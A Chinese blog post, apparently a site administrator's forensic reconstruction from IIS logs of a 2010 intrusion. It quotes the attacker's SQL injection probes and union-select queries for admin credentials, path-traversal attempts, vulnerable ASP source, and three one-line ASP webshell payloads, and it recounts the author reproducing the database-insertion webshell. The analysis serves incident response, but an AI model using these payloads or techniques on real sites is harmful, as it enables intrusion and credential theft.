根据日志逆向分析攻击者入侵思路及查找0day

分析感悟:能够在系统权限下做好的事情就尽量在系统搞定,实在不行的,再从其它防御方案来解决。
详细过程:
攻击者对我服务器的4个网站进行了大量的检测,最后决定把目标选为www.target.org。之后开始寻找注入点,时间大约是从2010-06-06 17:01:13左右开始,先后测试了这些带有参数的网址
dc/toupiao.asp B1=投票&B2=结果' and '7'='7
XXLR1.ASP?ID=560 and 7=2
FLMEN.ASP MENUID=2265 and 7=7
flmen.asp menuid=2265&menujb=2 and 7=2
flmen.asp menuid=2265&menujb=2' and '7'='7
find.asp LR=!S!WCRTESTINPUT000000!E!&B1=提交&MENU=全部栏目' and '7'='7
find.asp B1=提交&MENU=全部栏目&LR=!S!WCRTESTINPUT000000!E!' and '7'='7
dc/toupiao.asp B1=投票&B2=结果' and '7'='2
/flmen.asp menuid=2265 and 7=7
ztlm.asp lb=南岭风光' and '7'='2
find.asp B1=提交&MENU=全部栏目&LR=!S!WCRTESTINPUT000000!E!' and '7'='2
find.asp LR=!S!WCRTESTINPUT000000!E!&B1=提交&MENU=99999999 or 7=7
这里有一个测试方法,攻击者很聪明,他使用非数字来测试id值
http://www.target.org/xxlrimg.asp?tab=&menuid=2a283
结果出现问题
点击放大图片

之后进一步用逗号来测试
http://www.target.org//xxlrimg.asp tab=&menuid=2283'
这次被网站系统过滤掉了

点击放大图片

跳转到首页
http://www.target.org /index.asp LR=/xxlrimg.asp在参数menuid中有非法URL2283’
继续追寻注入点,同样用非数字测试id
http://www.target.org/XXLR1.ASP?ID=8a3

点击放大图片

已经看到注入的希望,但是这次吸取教训,不再以逗号测试。

接下来,他找到了这个网站的资料下载栏目,http://www.target.org//manger/Login.asp,直接给我爆出错误
攻击者是这样测试的,将用户名用特殊字符测试,比如_'123123''

点击放大图片

直接爆80040e14错误
点击放大图片

攻击者继续转换目标
/system/user/userlogin.asp
/system/user/login.asp
/system/user/login1.asp
但是之后继续来到资料下载这里测试
这次把用户名换成了_'admin'',同时进行了union测试,句法如下
_'UserName_=_''_and_exists_(select_username_from_[admin])''_
就是在用户名中直接插sql语句。
之后来了一次get测试
/manger/Login.asp UserName=123'&PassWord=123&GetCode=0568&Submit.x=0&Submit.y=0
突然出现大量的对/manger/Login.asp的访问,不知道是不是暴力猜解

点击放大图片

与此同时另外一个日志出现,范围内容为
/ever.asp lr=%C4%FA%C3%BB%D3%D0%D7%A2%B2%E1%B3%C9%B1%BE%D5%BE%D3%C3%BB%A7,%BB%F2%C3%BB%D3%D0%B5%C7%C2%BC,%B2%BB%C4%DC%CA%B9%D3%C3%B4%CB%B9%A6%C4%DC
解密下
ever.asp?lr=您没有注册成本站用户,或没有登录,不能使用此功能

但是我们继续关注114.237.161.118的行为
仍然在变换sql语句猜解中
_'UserName_=_''_and_exists_(select_username_from_[admin])_where_''='''_
'UserName_=_'123_and_exists_(select_username_from_[admin])_where_''='''_
_'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_''=''_
_'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_'1'='1''_
_'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_'1'='1'''_
_'UserName_=_'123'_and_exists_(select_username_from_[admin])''_
多次无果之后继续回到登陆目录
/system/user/userlogin.asp
测试2次之后,开始放弃手工。开始收到大量的扫描日志。
从日志看,如果没有猜错的话,应当是WWWSCAN。并且将目标定为system目录。
在大量的扫描日志中,同时夹杂着攻击者手动游览的日志,非常让人郁闷。但是我找到了一些让人很是蛋疼的地址。
http://www.target.org/system/sysupfile/up2.asp
http://www.target.org/system/selectimg.asp?lb=&id=&dateid=6022999.99978859?id=541
http://www.target.org /system/selectimg1.asp
http://www.target.org /system/sysupfile/dispfile.asp fitype=3&pagesn=&fiex=&upuser=
这些日志应当不是扫描器的结果,那么有可能是攻击者下载了相同系统的源码,来测试。
后面这个地址让人郁闷,竟然可以直接列出目录中的图片,没有任何权限检测。

点击放大图片
真是mjj的网站系统,
心想这个游览也就是看看图片罢了,但是慢慢的开始担心起来。我看到了试图跨目录的尝试,他是这样尝试的
/system/sysupfile/dispfile.asp?fitype=3&pagesn=1&fiex=../&upuser=
/system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=../..&upuser=
/system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=/..&upuser=
/system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=/../&upuser=
/data_file.asp?webid=&id=&dateid=6345000.00025146
但是似乎并没有什么发现。开始转移到其它页面,突然发现,一个insertimg日志
http://www.target.org/system/insertimg.asp?dateid=6345000.00025146?id=545
打开看了一下,蛋疼的很

点击放大图片

又是没权限检测的。继续往下看,找到了上传地址
http://www.target.org/system/sysupfile/up1.asp
这个好像有session检查,攻击者进行了注入尝试
/system/insertimg.asp dateid=6345000.00025146?id=545'
他同时找到了另外一个上传点
/system/sysupfile/up2.asp
但是似乎都没有利用的地方,他重新杀回登陆页面。找到多个重要的路径。
/system/user/login1.asp
/SYSTEM/USER/FRIEND.ASP

点击放大图片
爆出了一个很重要的目录setup,此时已经差不多到了17:47:02,尝试进行了47分钟左右。
/db/fileupimg2.asp
/db/WEBDEL.ASP
/system/upimg5
/system/webfilelist.ASP?MENUID=2292&menujb=3 文章管理页面

接下来,攻击者找到这样一个页面
/dc/setup.asp
/dc/setup1.asp  
爆出没有权限
http://www.target.org/dc/modi.asp
http://www.target.org/dc/modi.asp?id=1
http://www.target.org/dc/modi1.asp

继续往下翻,终于我看到了“/system/管理信息”之类的中文信息的路径,我知道,扫描日志终于要完了。
攻击者还在查找注入
/dc/modi.asp id=1'
/dc1/modi.asp?id=1'
/dc1/modi1.asp
从日志看,攻击者又回到了图库这里
/system/selectimg.asp?lb=&id=&dateid=6022999.99978859?id=541
/system/selectimg1.asp?filetype=
/system/data.asp?id=1
/system/sysupfile/dispfile.asp?fitype=
/system/ADDfile1.asp
接下来出现
/dc/webdc.asp写入文件失败的情况
/upfile/dark2.asp
此时说明,小马已经上来了。
进行了多次的id的尝试
/dc/modi.asp?id=39
/dc/webdc.asp?goaction=qbh
我有一种疑惑,是他传上来了shell?还是想测试这个是不是马?从格式看,可能是darkblood的。
还在继续猜测
/system/webedit.asp?id=1
/system/webedit.asp id=1'
看了只是想试试webdc是不是shell
/system/webedit.asp?id=123
/system/webedit.asp?id=123a
/system/webedit.asp id=123'
/system/webedit1.asp id=123a
/system/file_laiyuan1.asp

经过无数次尝试之后又回到了开始上传的那里
/system/sysupfile/up1.asp
/system/sysupfile/up2.asp
擦,竟然知道数据库的绝对路径,蛋疼,越来越看不懂了
之后确定用
http://www.target.org/dc1/modi.asp?id=1
这个注入点才进行操作,试图读取文件和列目录
/dc1/modi.asp%20id=1%20union%20select%20username,password,3,4%20from%20admin%20in%20%22*://wwwroot/systemdb/%23%23%23%23userdb.asp%22%20where%20id=1

继续看日志,看到另外一个让我无语的地址
/system/user/bbssetup.asp

点击放大图片

攻击者针对这个地址进行了大量的测试,之后开始转移到/guestbook这个目录来进行测试
/guestbook/search.asp
/guestbook/login.asp

再之后,让我迷惑不解,
出现了a.asp的访问
我打开一看,竟然是我的那个上传小马,还有另外一个上传小马/shellcode.asp;jpg
让我更加迷惑的时这个文件似乎不是114.237.129.237上传的,因为他尝试了好多次的密码
/shellcode.asp;jpg?goaction=123
/shellcode.asp;jpg?action=123
/shellcode.asp;jpg?action=123
/shellcode.asp;jpg?g=1234
/shellcode.asp;jpg?s=123
/shellcode.asp;jpg?a=123
/shellcode.asp;jpg?pass=123
后来查看文件日期和自己的博客日志,猛然想起来,这几个shell极可能是自己当初测试时上传没有删除,查看了其中一个shell的密码,竟然是自己曾经用过的密码md5,蛋疼。让我迷惑的事情来了,114.237.129.237是怎么知道这个文件,他可以列出当前网站的目录?ca
Systemdb/dark2.asp是确确实实存在的,这个肯定不是我上传,攻击者应当拿到了一句话后门。
并且他试图列出c:\windows和E盘中的文件,至少修改了2个文件,分别为
Systemdb/dark2.asp和dc/webdc.asp,Systemdb是数据库目录,具有写入的权限,但是无脚本权限,所以这个大马应当是没有作用。dc/webdc.asp是一个access数据库,能够写入,也有权限,但是这个目录是没有写入权限的,奇怪的是现在这个webdc.asp用记事本打开竟然全部为空,被清空了。现在攻击者的权限应当是拿到了一句话,并且可以列目录。并且,如果我没有猜错的话,他的一句话地址就是dc/webdc.asp。拿到一句话之后曾经想写入文件dc\wsi.asp。同时结合拦截日志,我知道是通过dc/modi1.asp写入,我查看dc/modi1.asp的源文件,他包含的有一个filetou.asp,而这个文件就是打开access数据库webdc.asp的文件。基于这个想法,我继续查看日志。我搜索dc/modi1.asp的相关访问记录,果然发现了踪迹
“/dc/webdc.asp |69|800a000d|类型不匹配:_'execute'”.mjj的,已经被写入一句话了,查看周边记录。
到现在我明白过来了,我说怎么有那么多的dc/modi.asp,dc/modi1.asp和dc/webdc.asp的访问记录呢。同时我突然想起来,上次小k弄这个站的时候是社工到了后台密码,好像也是在这个目录拿的shell。既然是这样的话,那么应当存在一个没有管理员验证就可以对数据库进行操作的页面。
查看/dc/modi1.asp的源码
<%@ LANGUAGE = VBScript.Encode %>
<!--#include file="superno.asp"-->
<!--#include file="filetou.asp"-->
<%
id=session("webdcid")
name=request.form("name")
sql="Select *  FROM dc  where id="&id
set rs=server.createobject("ADODB.Recordset")
rs.Open sql,conn, 1, 3
rs("name")=name
rs.update
rs.close
set conn=nothing
session("webdcid")=""
response.redirect  "setup.asp"
%>
看到rs.update,不得不说蛋疼,有一点确信当初的想法了。心想这个name该怎么输入值呢?

由于也有大量的dc/modi.asp的访问记录,我查看了下dc/modi.asp的代码
<!--#include file="superno.asp"-->
<!--#include file="filetou.asp"-->
<%
id=request("id")
dim rs
sql="Select *  FROM dc  where id="&id
set rs=server.createobject("ADODB.Recordset")
rs.Open sql,conn, 1, 3
session("webdcid")=id
%>
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
</head>
<body bgcolor="#E0F0F8">
<form method="POST" action="modi1.asp">
  <div align="center">
    <center>
    <table border="1" width="70%" bordercolorlight="#000000" cellspacing="0" cellpadding="10" bordercolordark="#FFFFFF" bgcolor="#A4D1E8">
      <tr>
        <td width="100%">你要把项目:<%=rs("name")%>    <br>
          改为:<input type="text" name="name" size="20" value="<%=rs("name")%>"><input type="submit" value="提交" name="B1"></td>
      </tr>
    </table>
    </center>
  </div>
</form>
</body>
</html>
<%rs.close
set conn=nothing
%>
一切都明白了,他的action对象就是modi1.asp,从过这个页面的form将一句话木马写入到数据库中。
既然这样,那么我也测试一下
由于是access数据库,并且没有拦截,所以我想应当是UNICODE码的加密一句话,由于数据库被搞坏,我重新传一个测试下。在这里得说一下,检测没问题,但是别毁坏别人的数据库。
传好数据库后,我们打开http://www.target.org/dc/modi.asp?id=43

点击放大图片

插入加密的一句话。之后打开数据库查看是否成功。
点击放大图片

已经被成功插入了一句话,
用菜刀连接下看看

点击放大图片

成功列出了目录。说明入侵的思路确实是这样!问题找到了,那么思路也就清晰了。继续分析日志
攻击者总共插入数据库2次。
2010-06-06 18:16:55 222.73.167.44 GET /dc/webdc.asp.这条日志就是第一次检查是否插入成功的日志,由于第一次数据库没有损坏,/dc/modi.asp?id=1直接就能访问了,之后想写入大马,由于没有权限出现多次写入文件失败日志“/dc/webdc.asp |0|800a0bbc|写入文件失败。” 再到后来,开始列目录,查找可以上传文件的地方,最后在数据库目录/systemdb/写下dark2.asp,并尝试/systemdb/dark2.asp?goaction=qbh这样登陆,没有权限,清空内容,替换为test。这也就是这个文件的由来。之后上传了/upfile/dark2.asp,但是没有脚本权限,删除之。
   在第一次插入数据库成功后,就尝试建立dc\wsi.asp,但是没有成功,之后尝试列出c:\windows和c:\windows\system32,但是都没有成功。同时尝试列出了e潘,e盘是cd,我无设置权限。
之后不知道为什么,可能插入数据库出现了错误,同时数据库被插坏了。/dc/modi.asp?id=1已经不能正常访问,如是出现了下图的情况,多次尝试试图找出正确的id值。

点击放大图片

我说奇怪呢,怎么老是测试这个id,原来是为了找到一个正确的id值,然后插入一句话。不得不说,攻击者对这代码还真熟悉,我都从来没看过。从日志可以看到当id为43时,终于正确了。插入成功后用菜刀进行了连接,之后他想把这个webdc.asp替换成大马。由于找不到写入的目录,而写入的目录又没有权限,所以他不得不想办法把数据库webdc.asp替换成大马。他多次尝试这样登陆
/dc/webdc.asp?goaction=qbh
/dc/webdc.asp?goaction=login
再之后他重新开始寻找其他漏洞,继续测试了大量注入点和后台文件。再到后面,还是来到了/dc1/modi.asp这里,让我郁闷的是,他竟然猜表

点击放大图片

就这样一直在折腾,寻找敏感文件,尝试传大马的机会。
一直到2010-06-06 20:10:42左右,最后确认了一次dc/webdc.asp没问题。如果没有猜错的话,攻击者应当吃晚饭去了。
分享到这里的时候,我查看另一份拦截日志,发现这个时间怎么都对不上。仔细查看我才明白,iis的时间我没有设置为系统时间,而是格林尼治标准时间,也就是说比北京时间慢了8个小时。这样看了原来攻击者是从2010-06-06 17:01:13加上8个小时,那么就应当是6月7日的1点多开始的了,当然最后也不是晚饭了,应当是睡觉去了,这也才符合夜猫子的行动习惯。
     那么结合我的另外一份日志,可以清晰的看到。攻击者在插入数据库时测试了这么几种一句话
<% eval request ( ) %>
< script language = vbscript runat = server > execute request ( ) < /script >
<% execute request ( ) %>
这些都被拦截了,那么他测试成功的一句话是什么呢?肯定是加密的ASCII一句话。
在2010-06-07 02:51:55左右,攻击者开始重新开始测试,他尝试了几次union,这也导致他不得不更换ip。
http://www.target.org/dc1/modi.asp?id=1%20union%20select%20username,password,3,4%20from%20admin%20in%20"D:\website\target\wwwroot\systemdb\%23%23%23%23userdb.asp"%20where%20id=1
http://www.target.org/dc1/modi.asp?id=1%20union%20select%201,2,3,4%20from%20admin%20in%20"D:\website\target\wwwroot\systemdb\%23%23%23%23userdb.asp"%20where%20id=1
郁闷,用一句话获得了数据库的物理地址,并且尝试注入,蛋疼。由于注入是会被封ip的,所以攻击者不得不重启hub,重新获取ip,那么他的ip变化为
114.237.161.118
114.237.130.191
114.237.130.14
114.237.128.98
114.237.130.110
此次注入之后ip换为114.237.129.237。一阵测试后,最后在4点10左右,结束整个测试。
现在对攻击者的整个攻击思路进行一下总结。整个攻击从6月7日的1点多开始,在4点10左右停止,整个过程持续了4个小时左右,战果是拿下了一句话后门。首先是探路,测试了本服务器的4个网站,最后选定www.target.org这个站点,决定从这个站点下手。选定站点之后,首先测试页面可能存在的注入点,测试了多个带有参数的页面。觉得希望不大之后开始运行wwwscan扫描站点系统。同时下载了同站点系统进行研究,之后测试各个可能存在问题的页面,最后在一个页面中找到了可以插入一句话的漏洞,之后插入一句话,再之后尝试扩大成果,想传大马,但是没有成功。整个IIS的分析也就在此结束了。分享到这里我突然有一个想法,这个测试者会不会是刀城的刀友呢?搜搜看。
以114.237开头的会员有2位。

点击放大图片

能有这种机会,在一个ip段的机会是微乎其微的。我初步认为是bbt4ng,或者是他的朋友至少离他不远!

后来找他聊了一下,果然是的。

点击放大图片







此文已发表在土司论坛!

如需转载请表明出处和作者!




以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]


[本日志由 admin 于 2011-10-11 09:53 PM 编辑]
相关日志:
在线RSS阅读器订阅:
feedsky
抓虾 pageflakes Rojo google reader
my yahoo newsgator bloglines 有道
鲜果 飞豆 哪吒 Netvibes
Netvibes Netvibes

手机订阅:


本站订阅地址:
RSS2:点击复制
Atom:点击复制
        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载,但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS
评论: 3 | 引用: 0 | 查看次数: -
回复回复dvbbs2012[2012-07-19 09:33 AM | del]
细节决定成败~~~
回复回复007[2012-06-06 01:35 AM | del]
漂亮的分析 ....
回复回复idiot[2011-10-17 12:01 AM | del]
很精彩,很详细的文章,我转到黑笔去了。
评论还要注册,以前的帐号密码都忘记了。。。
回复来自 admin 的评论 admin 于 2011-10-17 10:27 PM 回复
很久没发文章了,把去年的笔记和大家分享了一下,呵呵
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码提示:单击自动获取验证码
内 容:
最多可输入,当前共,还可输入
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.